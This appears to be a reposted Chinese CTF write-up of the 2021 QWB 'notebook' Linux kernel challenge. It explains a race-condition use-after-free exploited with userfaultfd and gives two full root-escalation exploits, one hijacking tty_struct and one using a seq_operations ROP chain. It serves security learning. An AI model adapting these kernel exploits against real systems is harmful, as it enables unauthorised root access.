【userfaultfd】2021强网杯notebook

2023-10-04 23:15

本文主要是介绍【userfaultfd】2021强网杯notebook,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

程序分析

老规矩,看下启动脚本

开启了 smep、smap、kaslr 保护,当然 kvm64 默认开启 kpti 保护

文件系统初始化脚本

#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/ptsmount -t proc proc /proc
mount -t sysfs sysfs /sysecho 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrictifup eth0 > /dev/null 2>/dev/nullinsmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
echo "Welcome to QWB!"#sh
setsid cttyhack setuidgid 1000 sh
#setsid cttyhack setuidgid 0 shumount /proc
umount /syspoweroff -d 1 -n -f

一眼看到驱动模块 netobook.ko

mynote_ioctl 函数 

该函数实现了堆块的增删改的功能(果然什么都逃不过屌丝菜单题的命运bushi) 简单说一下漏洞点

在 noteedit 函数中,会使用 krealloc 函数重新申请一个堆块,所以如果我们传入的新的 size 为0 或者比原来的大,则会将原来的堆块释放掉。

但是 noteedit 函数中存在一个问题,那就是其并没有直接将 krealloc 返回的堆块指针赋值给 notebook[idx]->ptr ,而是先把它赋值给了 v7,然后再用 copy_from_user 复制数据,最后再经过一些检查再将 v7 的值赋值到 notebook 中。当然这里最大的问题是上的是读锁,这就意味着其他拿读锁的函数可以跟这个函数并行,这也为我们后面的利用提供了可能。

mynote_read / mynote_write 函数

 我们有读写堆块的能力,但是有大小限制。

漏洞利用

在 mynote_ioctl 函数中,当我们传入 newsize=0时(你也可以传入更大的值) 我们知道了一个逻辑:

1、先修改 size = newsize

2、释放原来的堆块(申请新的堆块,这里我们传入newsize=0,所以不会申请新的堆块)

3、调用 copy_from_user 复制数据

4、将新的指针赋值给 notebook[idx]->ptr

那这里很明显我们可以在第 3 步使用 userfaultfd 将其卡住,此时 notebook[idx]->ptr 还没有改变,但是其已经被释放了,所以这里就存在一个 UAF。

这里我们选择 tty_struct 去打,程序给了读写的能力,但是有 size 的检查,并且在第一步 size 已经被修改为了 newsize=0,所以这里检查过不了(有人说将newsize传一个大的值,但是这里检查的是 notebook[idx]->ptr 这个堆块的实际大小和 size 的大小关系,所以你还是通过不了检查)

那怎么办呢?

但是注意到 noteadd 函数:

其拿的是读锁,所以当 noteedit 用 userfaultfd 卡住时,其也能执行,但是这个很好的是,这个函数是先修改的 notebook[idx]->size、然后在用 copy_from_user 复制数据,然后再给 notebook[idx]->ptr 申请一个新的堆块,简而言之就是:

1、修改 notebook[idx]->size 为我们输入的 size

2、使用 copy_from_user 复制数据

3、kmalloc(size) 给 notebook[idx]->ptr 

那么我们就可以利用这个函数去修复在 noteedit 中被破坏的 size,即用 userfaultfd 卡在第 2 步。

当然这里由于开启了 smap 保护,使用 tty_struct 的 ops 表也不能直接在用户空间伪造,但是题目直接给了一个 notegift 函数可以读出堆块的地址,所以直接把 ops 表伪造在一个堆块上就 ok 了。

当然如果题目没有给这个函数的话,可以考虑用 seq_operations 去打。 

最后劫持 tty_struct 后直接用 work_for_cpu_fn,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define INIT_CRED 0xffffffff8225c940
#define COMMIT_CREDS 0xffffffff810a9b40
#define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;
struct note {size_t idx;size_t size;char* buf;
};void add(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x100, &n);
}void dele(size_t idx)
{struct note n = { .idx = idx };ioctl(fd, 0x200, &n);
}void edit(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x300, &n);
}void gift(char* buf)
{struct note n = { .buf = buf };ioctl(fd, 0x64, &n);
}void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{int uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");uffdio_register.range.start = (unsigned long long)uffd_buf;uffdio_register.range.len = 0x1000;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");int res = pthread_create(&pthread_moniter, NULL, handler, uffd);if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}char buf[0x30];
void handler(void* args)
{int uffd = (int)args;struct uffd_msg msg;struct uffdio_copy uffdio_copy;for (;;){struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;int res = poll(&pollfd, 1, -1);if (res == -1) err_exit("ERROR on poll");int n = read(uffd, &msg, sizeof(msg));if (n == 0) err_exit("EOF on read uffd");if (n == -1) err_exit("ERROR on read uffd");sleep(100);puts("userfault over");if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");uffdio_copy.src = buf;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);uffdio_copy.len = 0x20;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");}
}sem_t sem_edit, sem_add;void evil_edit(void* args)
{sem_wait(&sem_edit);info("evil_edit for construct UAF");edit(0, 0, args);
}void evil_add(void* args)
{sem_wait(&sem_add);info("evil_add for fix the size");add(0, 0x60, args);
}int main(int argc, char** argv, char** env)
{bind_core(0);size_t buf[0x300];size_t tty_struct[0x300];size_t fake_ops[0x100];size_t fake_ops_addr;char* uffd_buf;int tty_fd;size_t kernel_offset;pthread_t moniter, pt_edit, pt_add;sem_init(&sem_edit, 0, 0);sem_init(&sem_add, 0, 0);fd = open("/dev/notebook", O_RDWR);add(0, 0x20, buf);edit(0, 0x2e0, buf);uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(uffd_buf, moniter, handler);pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);pthread_create(&pt_add, NULL, evil_add, uffd_buf);sem_post(&sem_edit);sleep(2);sem_post(&sem_add);sleep(2);tty_fd = open("/dev/ptmx", O_RDWR);read(fd, tty_struct, 0);//read(fd, buf, 0);binary_dump("tty_struct", tty_struct, 0x60);if (*(int*)tty_struct != 0x5401) err_exit("No alloc tty_struct by UAF");kernel_offset = 0;if ((tty_struct[3]&0xfff) == (PTM_UNIX98_OPS&0xfff)) puts("PTM_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTM_UNIX98_OPS;else puts("PTY_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTY_UNIX98_OPS;hexx("kernel_offset", kernel_offset);add(1, 0x20, buf);edit(1, 0x100, buf);gift(buf);fake_ops_addr = buf[2];binary_dump("object addr", buf, 0x20);hexx("fake_ops_addr", fake_ops_addr);memcpy(buf, tty_struct, 0x60);buf[3] = fake_ops_addr;buf[4] = COMMIT_CREDS + kernel_offset;buf[5] = INIT_CRED + kernel_offset;fake_ops[12] = WORK_FOR_CPU_FN + kernel_offset;binary_dump("fake_tty_struct", buf, 0x60);write(fd, buf, 0);binary_dump("fake_ops", fake_ops, 0x70);write(fd, fake_ops, 1);ioctl(tty_fd, 233, 233);write(fd, tty_struct, 0);pthread_cancel(pt_edit);pthread_cancel(pt_add);hexx("UID", getuid());system("/bin/sh");return 0;
}

 但是这里提权好像不是很稳定,最后 userfaultfd 卡的时间到了后,会有个 bug

希望有佬可以解释一些最后面出现的问题 

当然就算题目没有给 notegitf 这个泄漏 object 地址的功能,我们也可以通过 seq_operations 直接打,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>#define SINGLE_START 0xffffffff8128c230
size_t pop_rdi = 0xffffffff81007115; // pop rdi ; ret
size_t add_rsp_xx = 0xFFFFFFFF8127CDB2l;
size_t swapgs_kpti = 0xFFFFFFFF81A00931;
size_t init_cred = 0xffffffff8225c940;
size_t commit_creds = 0xffffffff810a9b40;
size_t prepare_kernel_cred = 0xffffffff810a9ef0;void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int fd;
struct note {size_t idx;size_t size;char* buf;
};void add(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x100, &n);
}void dele(size_t idx)
{struct note n = { .idx = idx };ioctl(fd, 0x200, &n);
}void edit(size_t idx, size_t size, char* buf)
{struct note n = { .idx = idx, .size = size, .buf = buf };ioctl(fd, 0x300, &n);
}void gift(char* buf)
{struct note n = { .buf = buf };ioctl(fd, 0x64, &n);
}void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{int uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");uffdio_register.range.start = (unsigned long long)uffd_buf;uffdio_register.range.len = 0x1000;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");int res = pthread_create(&pthread_moniter, NULL, handler, uffd);if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}char buf[0x30];
void handler(void* args)
{int uffd = (int)args;struct uffd_msg msg;struct uffdio_copy uffdio_copy;for (;;){struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;int res = poll(&pollfd, 1, -1);if (res == -1) err_exit("ERROR on poll");int n = read(uffd, &msg, sizeof(msg));if (n == 0) err_exit("EOF on read uffd");if (n == -1) err_exit("ERROR on read uffd");sleep(10000);puts("userfault over");if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");uffdio_copy.src = buf;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);uffdio_copy.len = 0x20;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");}
}sem_t sem_edit, sem_add;void evil_edit(void* args)
{sem_wait(&sem_edit);info("evil_edit for construct UAF");edit(0, 0, args);
}void evil_add(void* args)
{sem_wait(&sem_add);info("evil_add for fix the size");add(0, 0x20, args);
}int seq_fd;
int main(int argc, char** argv, char** env)
{bind_core(0);size_t buf[0x300];char* uffd_buf;size_t kernel_offset;pthread_t moniter, pt_edit, pt_add;sem_init(&sem_edit, 0, 0);sem_init(&sem_add, 0, 0);fd = open("/dev/notebook", O_RDWR);add(0, 0x20, buf);uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(uffd_buf, moniter, handler);pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);pthread_create(&pt_add, NULL, evil_add, uffd_buf);sem_post(&sem_edit);sleep(2);sem_post(&sem_add);sleep(2);seq_fd = open("/proc/self/stat", O_RDONLY);if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");read(fd, buf, 0);binary_dump("seq_operations", buf, 0x20);kernel_offset = buf[0] - SINGLE_START;hexx("kernel_offset", kernel_offset);buf[0] = add_rsp_xx + kernel_offset;hexx("seq_operations->start", buf[0]);write(fd, buf, 0);pop_rdi += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;swapgs_kpti += kernel_offset;asm volatile("mov r15, pop_rdi;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_kpti;""mov rbp, 0x55555555;""mov rbx, 0x66666666;""mov r11, 0x77777777;""mov r10, 0x88888888;""mov r9,  0x99999999;""mov r8,  0xaaaaaaaa;""xor rax, rax;""mov rcx, 0xbbbbbbbb;""mov rdx, 8;""mov rsi, buf;""mov rdi, seq_fd;""syscall;");hexx("UID", getuid());system("/bin/sh");return 0;
}

 上面两个脚本都可以成功提权:

这篇关于【userfaultfd】2021强网杯notebook的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/2919

相关文章

【Python编程】Linux创建虚拟环境并配置与notebook相连接

1.创建 使用 venv 创建虚拟环境。例如,在当前目录下创建一个名为 myenv 的虚拟环境: python3 -m venv myenv 2.激活 激活虚拟环境使其成为当前终端会话的活动环境。运行: source myenv/bin/activate 3.与notebook连接 在虚拟环境中,使用 pip 安装 Jupyter 和 ipykernel: pip instal

【Jupyter Notebook】汉化

1.打开:Anaconda Prompt 2.输入:"activate Zhui01"(注意:Zhui01是刚创建的环境名字) activate Zhui01 3.输入:"pip install jupyterlab-language-pack-zh-CN" pip install jupyterlab-language-pack-zh-CN 4.打开:Jupyter Noteb

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

[轻笔记] jupyter notebook 指定conda虚拟环境

安装插件 conda install nb_conda 进入conda env conda activate ${env_name}conda install ipykernelconda deactivate #3. 运行jupyter notebook conda activate # 需要先进入conda环境,非常重要jupyter notebook 会发现,在ju

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

【面试个人成长】2021年过半,社招和校招的经验之谈

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 长话短说。 今天有点晚,因为一些事情耽误了,文章发出来有些晚。 周末的时候和一个知识星球的读者1对1指导了一些应届生的学习路径和简历准备。 因为马上就要秋招了,有些公司的提前批已经启动。2021年已经过半了,各位。时间真是太快了。 正好周末抽了一点时间看之前买的关于面试的电子书,针对校招和社招的面试准备和需要注意的点在啰嗦几句。 校

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之Spark篇

欢迎关注博客主页:https://blog.csdn.net/u013411339 欢迎点赞、收藏、留言 ,欢迎留言交流! 本文由【王知无】原创,首发于 CSDN博客! 本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接: 2021年从零到大数据专家的

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之消息队列篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接: